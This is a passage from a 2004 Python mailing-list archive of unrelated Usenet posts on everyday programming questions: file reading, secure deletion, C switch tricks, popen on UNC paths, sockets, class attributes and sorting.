Probably. However, I suspect it's a natural consequence of Python's zero based indexing. Zero based indexing is great in a lot of ways, but it has some unfortunate corner cases for negative indices (another topic) and gets downright odd for negative strides. So it goes. I-hope-I-didn't screw-that-up-too-badly-ly yours, -tim From programmer.py at gmail.com Fri Sep 24 16:19:42 2004 From: programmer.py at gmail.com (Jaime Wyant) Date: Fri, 24 Sep 2004 15:19:42 -0500 Subject: Module Pygame - "FadeOut" text In-Reply-To: References: Message-ID: On Fri, 24 Sep 2004 19:57:53 GMT, Askari wrote: > "Terry Reedy" wrote in > news:mailman.3868.1096052483.5135.python-list at python.org: > > > > > "Askari" wrote in message > > news:Xns956E4F8F8C192askariaddressNonVali at 207.35.177.135... > >> (Help for Pygame module) > > > > There is a separate mailing list for Pygame, a third-party package. > > It can be accessed as a newsgroup via news.gmane.org > > as gmane.comp.python.pygame. > > > > Terry J. Reedy > > > > > > > > > > I DON'T WANT use this mail list! I don't want subscribe anythink for > this info! ... News group "comp.lang.python" is the best place that I > find with no subcribtion! Askari, Terry said it could be accessed via a newsgroup - news.gmane.org / gmane.comp.python.pygame. jw From f.geiger at vol.at Tue Sep 7 02:04:55 2004 From: f.geiger at vol.at (F. GEIGER) Date: Tue, 7 Sep 2004 08:04:55 +0200 Subject: i18n and GUI under Windows References: Message-ID: "Andr? Roberge" schrieb im Newsbeitrag Have a look into the thread http://groups.google.at/groups?hl=de&lr=&ie=UTF-8&threadm=cddprl%24mde%241%4 0newshispeed.ch&rnum=1&prev=/groups%3Fq%3Di18n%2BGEIGER%26hl%3Dde%26lr%3D%26 ie%3DUTF-8%26selm%3Dcddprl%2524mde%25241%2540newshispeed.ch%26rnum%3D1 or google for "i18n GEIGER". HTH Cheers Franz GEIGER From peter at engcorp.com Wed Sep 15 18:44:34 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 15 Sep 2004 18:44:34 -0400 Subject: thread specific sys.stdout? In-Reply-To: References: <1M2dnfnUBsOaLtXcRVn-jA@powergate.ca> Message-ID: Diez B. Roggisch wrote: > Peter Hansen wrote: >>Have you run this code? > > Nope, didn't run it - and you are right of course. I should have said more > clearly that the code was untested - I thought that describing it as > > "might look roughly like this" > > would suffice. That probably would have sufficed, but I'm one of those people that tends not to read the documentation. I just jumped to the code. ;-) -Peter From scook at elp.rr.com Sat Sep 4 16:49:38 2004 From: scook at elp.rr.com (Stan Cook) Date: Sat, 04 Sep 2004 20:49:38 GMT Subject: read lines without the line break character at the end? References: Message-ID: try for line in fp: whatever line[:-1] etc etc Whatever you're doing with the line, the new line character will be gone. Stan "Wai Yip Tung" wrote in message news:opsdpjkwte433nmu at news.cisco.com... > When I do > > for line in fp: > > the line string usually has a '\n' at the end. In many cases I don't want > the line break character. I can trim it using > > if line.endswith('\n'): line = line[:-1] > > Given I do it so frequently I wonder if there is some builtin way to say I > don't wnt the line break character? > > Thanks, > > tung From pink at odahoda.de Mon Sep 6 18:16:52 2004 From: pink at odahoda.de (Benjamin Niemann) Date: Tue, 07 Sep 2004 00:16:52 +0200 Subject: Secure delete with python In-Reply-To: References: Message-ID: Ville Vainio wrote: >>>>>>"Benjamin" == Benjamin Niemann writes: > > > >> fp = open(path, "wb") > >> for i in range(os.path.getsize(path)): > >> fp.write("*") > >> fp.close() > >> os.unlink(path) > > Benjamin> and there is no guarantee that this actually overwrites > Benjamin> the old file. The filesystem may choose to write the new > Benjamin> content at another location of the disk, leaving the > Benjamin> original data untouched. > > Seriously? What OSen are known for doing this? I'd had thought that if > the file size is unchanged, the data is always written over the old > data... I don't know, if there actually is a filesystem that does this, but there is no rule (that comes to mind now at least) that forbids it. E.g. I could imagine some kind of transactional FS that doesn't change the original file until to finish the transaction (=close the file) to avoid file corruption, if a program crashes while writing... Modern filesystem do lots of things most people (including me) can't imaging. ReiserFS e.g. packs several small files into one block. If such a file grows (perhaps) the data is moved to a block of its own - and the old data stays (unreferenced) on disk although you didn't conciously made a copy of the file... But I'm just thinking aloud - don't know if anything of this is true. But I except to task of a "secure delete" to be pretty difficult. > Also, when overwriting a file, it's better to do it several times, > with alternating bit patterns and "syncing" the disk after each > pass. Of course even that is not going to guarantee anything because > it may just go to the hardware cache in the disk unit, but it's > reasonable if you are overwriting lots of data at once. > > Performing these steps, you'll at least get a good false sense of > security ;-). > From hellas_74 at hotmail.com Tue Sep 28 06:27:54 2004 From: hellas_74 at hotmail.com (Hellas) Date: Tue, 28 Sep 2004 12:27:54 +0200 Subject: A good IDE for Python References: Message-ID: I thak everybody From fuzzyman at gmail.com Fri Sep 24 05:23:48 2004 From: fuzzyman at gmail.com (Michael Foord) Date: Fri, 24 Sep 2004 10:23:48 +0100 Subject: POST from a CGI In-Reply-To: <20040923123318.GA3307@titan.progiciels-bpi.ca> References: <6f402501.0409220027.65be4885@posting.google.com> <6f402501.0409221425.6f1b036b@posting.google.com> <20040923123318.GA3307@titan.progiciels-bpi.ca> Message-ID: <6f40250104092402236a76da79@mail.gmail.com> Ha... thanks... Fuzzy P.S. want a gmail account ? I have a few invites left..... On Thu, 23 Sep 2004 08:33:18 -0400, Fran?ois Pinard wrote: > [Michael Foord] > > Sorry to top post... > > Just don't. (be sorry, top post) :-) > -- http://www.Voidspace.org.uk The Place where headspace meets cyberspace. Online resource site - covering science, technology, computing, cyberpunk, psychology, spirituality, fiction and more. --- http://www.Voidspace.org.uk/atlantibots/pythonutils.html Python utilities, modules and apps. Including Nanagram, Dirwatcher and more. --- http://www.fuchsiashockz.co.uk http://groups.yahoo.com/group/void-shockz --- Everyone has talent. What is rare is the courage to follow talent to the dark place where it leads. -Erica Jong Ambition is a poor excuse for not having sense enough to be lazy. -Milan Kundera From clifford.wells at comcast.net Wed Sep 15 01:52:48 2004 From: clifford.wells at comcast.net (Cliff Wells) Date: Tue, 14 Sep 2004 22:52:48 -0700 Subject: Popping up the "Open With" dialog window In-Reply-To: References: Message-ID: <1095227568.28128.67.camel@devilbox.devilnet.internal> On Tue, 2004-09-14 at 10:41 -0400, Micah wrote: > I know it's possible to use os.startfile() to open/execute a file based on > its extension, but when a file is not recognized, I get a WindowsError with > Errno 1155. > > Is there any way (using wxPython) to popup the "Open With" dialog that > appears when trying to open an unrecognized file in Windows Explorer? No. You'll probably have to look to the native win32all package for that. Regards, Cliff -- Cliff Wells From iketo2 at netscape.net Fri Sep 10 10:25:34 2004 From: iketo2 at netscape.net (Isaac To) Date: 10 Sep 2004 22:25:34 +0800 Subject: Is there no switch function in Python References: <1Zb*VOguq@news.chiark.greenend.org.uk> Message-ID: <87llfip5ep.fsf@sinken.local.csis.hku.hk> >>>>> "Roy" == Roy Smith writes: Roy> The real reason, IMHO, switch existed in C was because it Roy> would let the compiler build very efficient jump tables for Roy> switches with many cases. Imagine switching on the ascii Roy> value of a character and having a 128 different cases. The Roy> compiler could build a 128 entry jump table and the switch Roy> statement would compile down to a single machine instruction. C switch is much more flexible than one would expect. It is not just a cheap replacement of a sequence of if-then-else. E.g., in an exercise of "The C++ Programming Language" of Bjarne Stroustrup, you can see the following example code: void send(int *to, int *from, int count) { int n = (count + 7) / 8; switch (count % 8) { case 0: do { *to++ = *from++; case 7: *to++ = *from++; case 6: *to++ = *from++; case 5: *to++ = *from++; case 4: *to++ = *from++; case 3: *to++ = *from++; case 2: *to++ = *from++; case 1: *to++ = *from++; } while (--n > 0); } } Note that this reduces the number of branch statements to execute 8-folds for any compiler but the smartest (as compared to the simplest code "do { *to++ = *from++ } while (--count > 0);"). I'd instead guess that C has switch because at the times before C, people code in assembly, and those tricks are popular. The design of most programming language represents the norm of coding at that time. Regards, Isaac. From rkern at ucsd.edu Thu Sep 16 09:10:21 2004 From: rkern at ucsd.edu (Robert Kern) Date: Thu, 16 Sep 2004 06:10:21 -0700 Subject: python: ascii read In-Reply-To: <41498785.2020502@gmx.net> References: <41498785.2020502@gmx.net> Message-ID: Sebastian Krause wrote: > The input data is is large ascii file of astrophysical parameters > (integer and float) of gaydynamics calculations. They should be read in > as an array of integer and float numbers not as string (as open() and > read() does). Then the array is used to make different plots from the > data and do some (simple) operations: subtraction and divison of > columns. I am using Scipy with Python 2.3.x under Linux (SuSE 9.1). Well, one option is to use the "lines" argument to scipy.io.read_array to only read in chunks at a time. It probably won't help speed any, but hopefully it will be correct. > Sebastian -- Robert Kern rkern at ucsd.edu "In the fields of hell where the grass grows high Are the graves of dreams allowed to die." -- Richard Harter From aleaxit at yahoo.com Tue Sep 14 17:01:22 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 14 Sep 2004 23:01:22 +0200 Subject: funcs vs vars in global namespace References: <1gk3y19.15ftybc1nbksniN%aleaxit@yahoo.com> <1gk408x.12hab2zxpzgmN%aleaxit@yahoo.com> <8KD1d.10$26.4@llslave.llan.ll.mit.edu> <1gk4a0b.1j8q5hu1nw55ptN%aleaxit@yahoo.com> <1gk4dcr.pql0gw1xlvicaN%aleaxit@yahoo.com> <4IG1d.13$26.5@llslave.llan.ll.mit.edu> Message-ID: <1gk4l6r.7tr83b12ifx0lN%aleaxit@yahoo.com> David Rysdam wrote: ... > >>sub_module = __import__(which_module_this_time) > >>vars(sub_module).update(which_dict_this_time) ... > Your "which_dict_this_time" dictionary, how are you imagining that > working? Just like any other dictionary -- maybe I don't get your question...? > I was just mapping function name strings to functions > ({'logError':logError}), but (long story short) that isn't working how I > want. But shouldn't I be able to define the function right there in the > dictionary itself? ...because def is a statement and "in the dictionary itself" you can, of course, only have expressions...? Is this a trick question...? > Perhaps this is getting too non-obvious, magical and unmaintainable, though. Your questions are definitely anything but obvious to me... Alex From aleaxit at yahoo.com Tue Sep 21 08:12:31 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 21 Sep 2004 14:12:31 +0200 Subject: flat tuple References: <41501751$0$22757$db0fefd9@news.zen.co.uk> Message-ID: <1gkgv7c.1ph6u62ozbstiN%aleaxit@yahoo.com> Will McGugan wrote: > Hi, > > What is the simplest way of turning a single value and a tuple in to a > single 'flat' tuple? > > ie. > > t= ( 1, 2, 3 ) > n= 10 > > n, t gives me ( 10, ( 1, 2, 3 ) ) Simplest is probably: (n,) + t Alex From drysdam at ll.mit.edu Wed Sep 15 07:57:20 2004 From: drysdam at ll.mit.edu (David Rysdam) Date: Wed, 15 Sep 2004 07:57:20 -0400 Subject: funcs vs vars in global namespace In-Reply-To: References: <1gk3y19.15ftybc1nbksniN%aleaxit@yahoo.com> <1gk408x.12hab2zxpzgmN%aleaxit@yahoo.com> <8KD1d.10$26.4@llslave.llan.ll.mit.edu> <1gk4a0b.1j8q5hu1nw55ptN%aleaxit@yahoo.com> <1gk4dcr.pql0gw1xlvicaN%aleaxit@yahoo.com> <4IG1d.13$26.5@llslave.llan.ll.mit.edu> Message-ID: Bengt Richter wrote: > On Tue, 14 Sep 2004 14:25:04 -0400, David Rysdam wrote: > > >>Alex Martelli wrote: >> >>>David Rysdam wrote: >>> ... >>> >>> >>>>OK, dumb question #1: >>>> >>>>Why do this: >>>> >>>>sub_module = __import__(which_module_this_time) >>>>vars(sub_module).update(which_dict_this_time) >>>> >>>>When I could just do this: >>>> >>>>__import__(which_module_this_time, which_dict_this_time) >>>> >>>>? >>> >>> >>>You can do whatever you wish, but what makes you think these constructs >>>have similar effects? Quoting from Python's online docs on __import__, >>> >>>""" >>> the standard implementation does not use its locals argument at all, >>>and uses its globals only to determine the package context of the >>>import statement >>>""" >>> >>>In short, the standard implementation of __import__ does NOT alter in >>>any way the dict of the module it imports. >>> >>> >>>Alex >> >>Ah, I see. >> >>Your "which_dict_this_time" dictionary, how are you imagining that >>working? I was just mapping function name strings to functions >>({'logError':logError}), but (long story short) that isn't working how I >>want. But shouldn't I be able to define the function right there in the >>dictionary itself? >> >>Perhaps this is getting too non-obvious, magical and unmaintainable, though. > > > Maybe this will give you some ideas: > Aha, yes indeed this gives me ideas. Very excellent tutorial, I've saved it for when I manage to confuse myself again later. I think I know just how to do what I want to do now, though I'm beginning to question the wisdom of providing the feature in question at all. But if I'm going to, it should be right, so I still thank you. From elbertlev at hotmail.com Fri Sep 3 10:32:44 2004 From: elbertlev at hotmail.com (Elbert Lev) Date: 3 Sep 2004 07:32:44 -0700 Subject: It's in Python. It just _works_! References: <4137b3ed$0$65570$a1866201@newsreader.visi.com> Message-ID: <9418be08.0409030632.425a9936@posting.google.com> Tim Peters wrote in message news:... > [Grant Edwards] > > ... > > Apparently, the file descriptor you get from a socket object > > under Win32 can't be used with os.read() and os.write()? I > > couldn't find anywhere in the docs that said so, but I sure > > couldn't get it to work. At least not under WinMe. > > Socket handles and file descriptors are disjoint concepts in Windows > (any flavor), and aren't interchangeable in any context. Not exactly. In WIN32 API WriteFile() one can use SOCKET and file handle returned by CreateFile(). os.read() uses handles returned by open(), which on WIN32 are not the same as returned by CreateFile. From nid_oizo at yahoo.com_remove_the_ Thu Sep 2 18:30:46 2004 From: nid_oizo at yahoo.com_remove_the_ (Nicolas Fleury) Date: Thu, 02 Sep 2004 18:30:46 -0400 Subject: Check existence of members/methods Message-ID: Hi everyone, I'm wondering what is the easiest/cleanest way to look for existence of available methods/members. For example, in parsing a xml file, created objects can define a setXmlFilename function or a xmlFilename member to get the filename they are from. Right now I have the following code: try: object.setXmlFilename except: try: object.xmlFilename except: pass else: object.xmlFilename = currentFilename else: object.setXmlFilename(currentFilename) But it looks a bit wierd, since it's like a "if" with the false consequence presented first. I wonder if there is, and if there should be a better way to do it. I could also do the following: def noraise(expressionString): try: eval(expressionString) except: return True return False if noraise("object.setXmlFilename"): object.setXmlFilename(currentFilename) elif noraise("object.xmlFilename"): object.xmlFilename = currentFilename But it puts code in strings, which I feel less natural. What do you think about it? Have I miss a better solution or is there something for that in the language? Regards, Nicolas From heikowu at ceosg.de Thu Sep 9 17:01:46 2004 From: heikowu at ceosg.de (Heiko Wundram) Date: Thu, 9 Sep 2004 23:01:46 +0200 Subject: my own type in C, sequence protocol In-Reply-To: References: Message-ID: <200409092301.46582.heikowu@ceosg.de> Am Donnerstag, 9. September 2004 22:21 schrieb Torsten Mohr: > The type that i implemented is a "CAN message", don't know > if this means something to you, it is a communication message > with 0 to 8 bytes content. To access this content i thought > there would be an advantage in implementing the sequence > protocol. What is the advantage then? I don't know what a CAN message is, but implementing the sequence protocol certainly has its features. What you can do to reassign the whole of m: m[:] = [1,2,3] Now, if you implemented the sequence protocol correctly (meaning it can deal with slices, this will reassign the whole of m. Lists support slice assignment: >>> x = [1,2,3] >>> id(x) -1477186996 >>> x[:] = [4,5,6] >>> x [4, 5, 6] >>> id(x) -1477186996 (see how x is not rebound?) Well, anyway, maybe you can just paste some example code (a more thorough explanation would also be okay) for us to see, so that we know what you're trying to do, and then suggest a proper idiom to use... Currently I can't really grasp what you need the sequence protocol for... Heiko. From tblack at biamp.com Wed Sep 8 18:48:32 2004 From: tblack at biamp.com (Tim Black) Date: 8 Sep 2004 15:48:32 -0700 Subject: popen pipes fail when cwd is a UNC path Message-ID: In my recent experience, popen os pipes always fail when cwd is a UNC path. Can anyone shed any light on this? Although I've seen lots of UNC path-related problems in this newsgroup, I've not been able to find anything specifically about os pipes and UNC paths. Here's a session dump that demonstrates what I'm talking about: Python 2.3.4 (#53, May 25 2004, 21:17:02) [MSC v.1200 32 bit (Intel)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> os.getcwd() 'c:\\Python23' >>> f=os.popen("dir"); r=f.read(); print f.close() None >>> os.getcwd() 'c:\\Python23' >>> os.chdir("c:\\") >>> os.getcwd() 'c:\\' >>> f=os.popen("dir"); r=f.read(); print f.close() None >>> os.chdir("\\\\Timb\\Python23") >>> os.getcwd() '\\\\Timb\\Python23' >>> f=os.popen("dir"); r=f.read(); print f.close() 1 As you can see, this last pipe fails. This only happens when cwd is a UNC path. Please let me know if you have seen this, solved this, know a nice workaround, etc. as I find this quite annoying. Thanks, Tim From abra9823 at mail.usyd.edu.au Fri Sep 17 10:49:28 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Sat, 18 Sep 2004 00:49:28 +1000 Subject: socket error Message-ID: <1095432568.414af978c8fc9@www-mail.usyd.edu.au> hi! my application is throwing a bad socket error raise error(EBADF, 'Bad file descriptor') socket.error: (9, 'Bad file descriptor') basically i have the following interchange application service server1 client socket <-------------- client1 send address and data client1.close server2 client2 socket --------------> server2 use sent address to connect client1 makes a connection to server1 and sends some data. server1 records address of client1 and receives the data. client1 then closes the connection. the code then runs a server2 on the same address as client1. and in the same code as server1, i run a client that connects to server2 this is where i get the error Traceback (most recent call last): File "app.py", line 146, in doStartServer self.handler.evaluate(persona, policyURL, address, self.username, MODELDIR, self.frame) File "C:\hons\prototype\um\proxyhandler.py", line 71, in evaluate s.connect(address) File "", line 1, in connect File "c:\Python23\lib\socket.py", line 143, in _dummy raise error(EBADF, 'Bad file descriptor') socket.error: (9, 'Bad file descriptor') what am i doing wrong? thanks ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From fred at adventistcare.org Wed Sep 22 15:14:42 2004 From: fred at adventistcare.org (Sells, Fred) Date: Wed, 22 Sep 2004 15:14:42 -0400 Subject: list.pop and print doing funny things Message-ID: <777056A4A8F1D21180EF0008C7DF75EE033170CE@sunbelt.org> If you're doing interactive python, l.pop() will print, whereas y=l.pop() will not print. I find life to be easier if I put even trivial stuff in a file and execute it, FWIT -----Original Message----- From: Gordon Williams [mailto:g_will at cyberus.ca] Sent: Tuesday, September 21, 2004 2:40 PM To: python-list at python.org Subject: list.pop and print doing funny things An easy question.... Why do I get the x printed twice in the sample below? It is like print x is being executed twice in each loop. >>> l = [1,2,3,4] >>> for x in l[:]: ... print x ... l.pop(l.index(x)) ... print l ... 1 1 [2, 3, 4] 2 2 [3, 4] 3 3 [4] 4 4 [] >>> Regards, Gordon Williams -- http://mail.python.org/mailman/listinfo/python-list From luka.milkovic at public.srce.hr Mon Sep 13 18:48:20 2004 From: luka.milkovic at public.srce.hr (Luka Milkovic) Date: Tue, 14 Sep 2004 00:48:20 +0200 Subject: Mail extraction problem (something's wrong with split methods) References: Message-ID: Thanks everybody, I finally got things working. I bypassed MIME because, as I already said, I don't understand it well, and used base64 module and encoding... Everything is working as it should, thank you very much:) From bokr at oz.net Wed Sep 1 21:39:30 2004 From: bokr at oz.net (Bengt Richter) Date: 2 Sep 2004 01:39:30 GMT Subject: initializing mutable class attributes References: <1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com> <1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com> <8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com> Message-ID: On Thu, 02 Sep 2004 00:17:22 GMT, "Dan Perl" wrote: > >"David Bolen" wrote in message >news:u3c21wnbq.fsf at fitlinxx.com... >> "Dan Perl" writes: >> >> > After all this discussion, what do people think about this code? >> >> On face value, I'd question why you're going through the extra effort. >> I may be missing the point in such a small example, but just having an >> __init__ in the base class that subclasses are supposed to call seems >> simpler. >> >> If you're just trying to find some way to have default attributes that can >> be used from subclasses without calling __init__, I'd probably just use >> class level definitions. For example: > >That is exactly what I'm trying to do, and in the initial posting of the >thread I was mentioning an initialization exactly like yours, but at the >same time I was pointing out that an initialization like that works only for >immutable attributes and not for mutable attributes, hence the need for the >__init__. Or doing it in __new__ as I showed in the new code. > >> - - - - - - - - - - - - - - - - - - - - - - - - - >> Python 2.3.4 (#53, May 25 2004, 21:17:02) [MSC v.1200 32 bit (Intel)] on >win32 >> Type "help", "copyright", "credits" or "license" for more information. >> >>> class Test(object): >> ... attr1 = 666 >> ... >> >>> class Derived(Test): >> ... def __init__(self): >> ... self.attr2 = 111 >> ... >> >>> d = Derived() >> >>> print d.attr1, d.attr2 >> 666 111 >> >>> print isinstance(d, Test) >> True >> >>> >> - - - - - - - - - - - - - - - - - - - - - - - - - >> >> -- David > Here's a way to auto-initialize an instance attribute to a mutable via a class variable (that happens to be a descriptor ;-) >>> class C(object): ... class prop(object): ... def __get__(self, inst, cls=None): ... if inst: return inst.__dict__.setdefault('prop',[]) ... return self ... def __set__(self, inst, value): inst.__dict__['prop'] = value ... def __delete__(self, inst): del inst.__dict__['prop'] ... prop = prop() ... >>> c=C() >>> vars(c) {} >>> c.prop [] >>> vars(c) {'prop': []} >>> c.prop = 'other' >>> vars(c) {'prop': 'other'} >>> C.prop <__main__.prop object at 0x00901790> >>> del c.prop >>> vars(c) {} >>> c.prop = 'not auto initialized' >>> vars(c) {'prop': 'not auto initialized'} >>> c.prop 'not auto initialized' >>> del c.prop >>> c.prop [] We can also use it as a base class: >>> C.prop <__main__.prop object at 0x00901790> >>> >>> class Derived(C): ... def __init__(self): ... self.attr2 = 111 ... >>> d = Derived() >>> print d.prop, d.attr2 [] 111 >>> print isinstance(d, C) True >>> vars(d) {'attr2': 111, 'prop': []} >>> d.prop [] our descriptor is visible via the derived class too, as you would expect >>> Derived.prop <__main__.prop object at 0x00901790> >>> Derived.prop is C.prop True and so ... >>> d.prop = 's/b d attribute' >>> vars(d) {'attr2': 111, 'prop': 's/b d attribute'} >>> d.prop 's/b d attribute' >>> del d.prop >>> vars(d) {'attr2': 111} >>> d.prop [] >>> vars(d) {'attr2': 111, 'prop': []} Any use to you? (disclaimer: not tested beyond what you see here ;-) Regards, Bengt Richter From ssk at chol.nospam.net Mon Sep 13 20:10:33 2004 From: ssk at chol.nospam.net (Sam Sungshik Kong) Date: Tue, 14 Sep 2004 00:10:33 GMT Subject: string % dictionary question Message-ID: Hello, group! >>> di={} >>> di["test"]=None >>> s="%(test)s" % di >>> s 'None' I want the result to be just empty string when the dictionary value is None. Is there a good way? TIA. Sam From cliechti at gmx.net Wed Sep 22 18:38:10 2004 From: cliechti at gmx.net (Chris Liechti) Date: Wed, 22 Sep 2004 22:38:10 +0000 (UTC) Subject: distutils and mingw32 References: <4151f3f8$1@nntp0.pdx.net> Message-ID: Scott David Daniels wrote in news:4151f3f8$1 at nntp0.pdx.net: > I'm trying to get distutils in 2.4 happy running mingw32. I've chased > a few things down, but now I'm getting: > C:\Documents and Settings\daniels\Desktop\Py\block>\python24\python > setup.py build_ext -cmingw32 ... > undefined reference to `_imp__PyExc_TypeError' my guess is that the import library (libpython24.a) is missing or not correct. did you create one with pexports? you know this one? http://www.python.org/doc/current/inst/tweak-flags.html (bottom of the page) chris -- Chris From martin at v.loewis.de Fri Sep 24 16:42:07 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Fri, 24 Sep 2004 22:42:07 +0200 Subject: SUN/ONC RPC module? In-Reply-To: <938a4680.0409241039.4a21a54c@posting.google.com> References: <938a4680.0409241039.4a21a54c@posting.google.com> Message-ID: <4154869b$0$32649$9b622d9e@news.freenet.de> Ishwar Rattan wrote: > Is there a module for ONC-RPC programming available? I did not > find entry in Global Module Index on http://doc.python.org/ See Demo/rpc. Regards, Martin From bockman at virgilio.it Sat Sep 18 03:53:57 2004 From: bockman at virgilio.it (Francesco Bochicchio) Date: Sat, 18 Sep 2004 07:53:57 GMT Subject: Comparioson of purpose for PyGUI and AnyGUI ??? References: Message-ID: On Thu, 16 Sep 2004 21:41:45 -0700, Chris Barker wrote: > > PyGUI looks like a wonderful project, the kind of GUI framework that > should have come with Python ages ago. Let's face it, would TCL have > ANYTHING like it's current popularity if it hadn't been for TK? It > seems to me that AnyGUI is trying to be for Python what TK is for TCL, > a real, native toolkit makde to work well with the language. > Personally, I like the fact that Python does not come with its own GUI toolkit but has modules which adapt to the various existing toolkits. What I would like to see is someting akin to what has been recently achieved for database interfaces: propose a standard API, and have all toolkits extentions implement that (maybe with hooks for access to the native toolkit the people that _must_ use such-and-such uncommon feature of toolkit X ). Technically, it should not be so much difficult (wxWidgets, among others, realised something similar, but at the price of adding an extra library layer). The real challenge is to make the devlopers of the various extensions agree on the 'best' GUI API. From jwkenne at attglobal.net Fri Sep 3 17:31:39 2004 From: jwkenne at attglobal.net (John W. Kennedy) Date: Fri, 03 Sep 2004 21:31:39 GMT Subject: Xah Lee's Unixism In-Reply-To: References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> Message-ID: <%o5_c.3939$lv3.1219902@news4.srv.hcvlny.cv.net> Alan Balmer wrote: > Especially since a space shuttle is a rather complex object, and a > blithe assertion that it could be built as a "single unit" seems a bit > far-fetched. The gaskets were /within/ the solid rocket boosters, which should have been designed in one piece, and could have been designed in one piece, if it were not for political corruption. -- John W. Kennedy "...when you're trying to build a house of cards, the last thing you should do is blow hard and wave your hands like a madman." -- Rupert Goodwins From tjreedy at udel.edu Thu Sep 9 21:51:02 2004 From: tjreedy at udel.edu (Terry Reedy) Date: Thu, 9 Sep 2004 21:51:02 -0400 Subject: Variable passing between modules. References: <41408fd3$1@pfaff2.ethz.ch> <10k1c22n3k07pbb@corp.supernews.com> Message-ID: > If you really need a big set of global variables (a practice which, in > general, I'd recommend avoiding), then at very least you should create a > globals.py module which contains nothing but these variables. Other > modules can then 'import globals; print globals.myvar' I suggest another name since this will mask the builtin globals(). tjr From exogen at gmail.com Mon Sep 27 14:00:54 2004 From: exogen at gmail.com (Brian Beck) Date: 27 Sep 2004 11:00:54 -0700 Subject: Python-LDAP for Win32 Message-ID: As far as I can tell, both maintainers[1] of the Windows builds of Python-LDAP[2] haven't updated in about a year. This doesn't exactly make the builds ancient or obsolete, but it would be nice to start fresh with the latest version. I've tried without success in building it myself. The hardest part is simply that Python-LDAP is dependent on at LEAST two other projects -- OpenLDAP and Cyrus SASL. This increases the difficulty three-fold. I know that Windows users are a minority when it comes to this module, but surely someone at least KNOWS how to get this to build on Windows. I would be happy to maintain and host an updated build if only I could get this to work. Any help would be greatly appreciated. [1] http://www.zope.org/Members/volkerw/LdapWin32 http://www.siosistemi.it/~mcicogni/ [2] http://python-ldap.sourceforge.net/ From grante at visi.com Fri Sep 3 11:26:57 2004 From: grante at visi.com (Grant Edwards) Date: 03 Sep 2004 15:26:57 GMT Subject: It's in Python. It just _works_! References: <4137b3ed$0$65570$a1866201@newsreader.visi.com> <9418be08.0409030632.425a9936@posting.google.com> Message-ID: <41388d41$0$8085$a1866201@newsreader.visi.com> On 2004-09-03, Elbert Lev wrote: >>> Apparently, the file descriptor you get from a socket object >>> under Win32 can't be used with os.read() and os.write()? I >>> couldn't find anywhere in the docs that said so, but I sure >>> couldn't get it to work. At least not under WinMe. >> >> Socket handles and file descriptors are disjoint concepts in >> Windows (any flavor), and aren't interchangeable in any >> context. > > Not exactly. In WIN32 API WriteFile() one can use SOCKET and > file handle returned by CreateFile(). os.read() uses handles > returned by open(), which on WIN32 are not the same as > returned by CreateFile. That sounds like a bit of mess... -- Grant Edwards grante Yow! I need to discuss at BUY-BACK PROVISIONS visi.com with at least six studio SLEAZEBALLS!! From bvande at po-box.mcgill.ca Sat Sep 18 12:20:50 2004 From: bvande at po-box.mcgill.ca (Brian van den Broek) Date: Sat, 18 Sep 2004 12:20:50 -0400 Subject: New Programmer and Python In-Reply-To: <_NidnfFXMMGVyNHcRVn-hg@comcast.com> References: <_NidnfFXMMGVyNHcRVn-hg@comcast.com> Message-ID: <414C6062.2030405@po-box.mcgill.ca> PMD96 said unto the world upon 2004-09-18 11:32: > I'm new to programming and have been recommended to start with > Python. I've reviewed the tutorial and am looking for additional > learning tools to learn programming and Python. Any recommendations? > > > As a relative Python and programming newbie myself, I'd say you should check out various links at: The gentle introduction that I started with is: How to Think Like a Computer Scientist Allen Downey's open source textbook has a Python version, written with Jeff Elkner. It's also available in book form. It is aimed at high-school students and is quite clear, but appropriately low in its pitch. After that, I found Lutz and Ascher's Learning Python quite helpful. HTH, Brian vdB From homix at gmx.net Sun Sep 19 15:46:00 2004 From: homix at gmx.net (Oli Schwarz) Date: Sun, 19 Sep 2004 19:46:00 +0000 (UTC) Subject: uptime in unix Message-ID: Hello, how can I read out the uptime of a unix system in python (Linux and *BSD). I have not found a uptime-function in the Library. Regards Oli From news at NOwillmcguganSPAM.com Thu Sep 2 12:40:27 2004 From: news at NOwillmcguganSPAM.com (Will McGugan) Date: Thu, 02 Sep 2004 17:40:27 +0100 Subject: Tuple question In-Reply-To: References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> Message-ID: <41374cfb$0$22750$db0fefd9@news.zen.co.uk> Wai Yip Tung wrote: > I'm not sure what do you mean by index. But you can use len() to get > the number of objects in a tuple. e.g. > >>>> t=(1,2,3) >>>> len(t) > > 3 > >>>> t[2] > > 3 > Lista have an index method that returns the index of the first occurance of an element, but tuple doesnt (nor count). Just wondering why. >>> l= [ 1, 2, 3 ] >>> t= ( 1, 2, 3 ) >>> l.index(2) 1 >>> t.index(2) Traceback (most recent call last): File "", line 1, in ? t.index(2) AttributeError: 'tuple' object has no attribute 'index' From adalke at mindspring.com Sat Sep 4 16:27:32 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Sat, 04 Sep 2004 20:27:32 GMT Subject: list conversion question In-Reply-To: References: <3Ma_c.13188$Dl4.3729@fe2.texas.rr.com> Message-ID: Peter Otten wrote: > Yet another option, not benchmarked, perhaps clearer: >>>>hist = [0, 1, 0, 5, 43] >>>>indices = range(len(hist)) >>>>indices.sort(key=hist.__getitem__) >>>>indices > > [0, 2, 1, 3, 4] Looks the fastest to me. Here's my results, with the benchmark below. In this list: sort0 = Paul McGuire's solution with a lambda sort1 = my solution with the pair flipped so the default sort works sort2 = my solution using Python 2.4's "keys" sort3 = Jp Calderone's variant of that with itemgetter sort4 = your (Petter Otten's) solution list of size 0 sort0 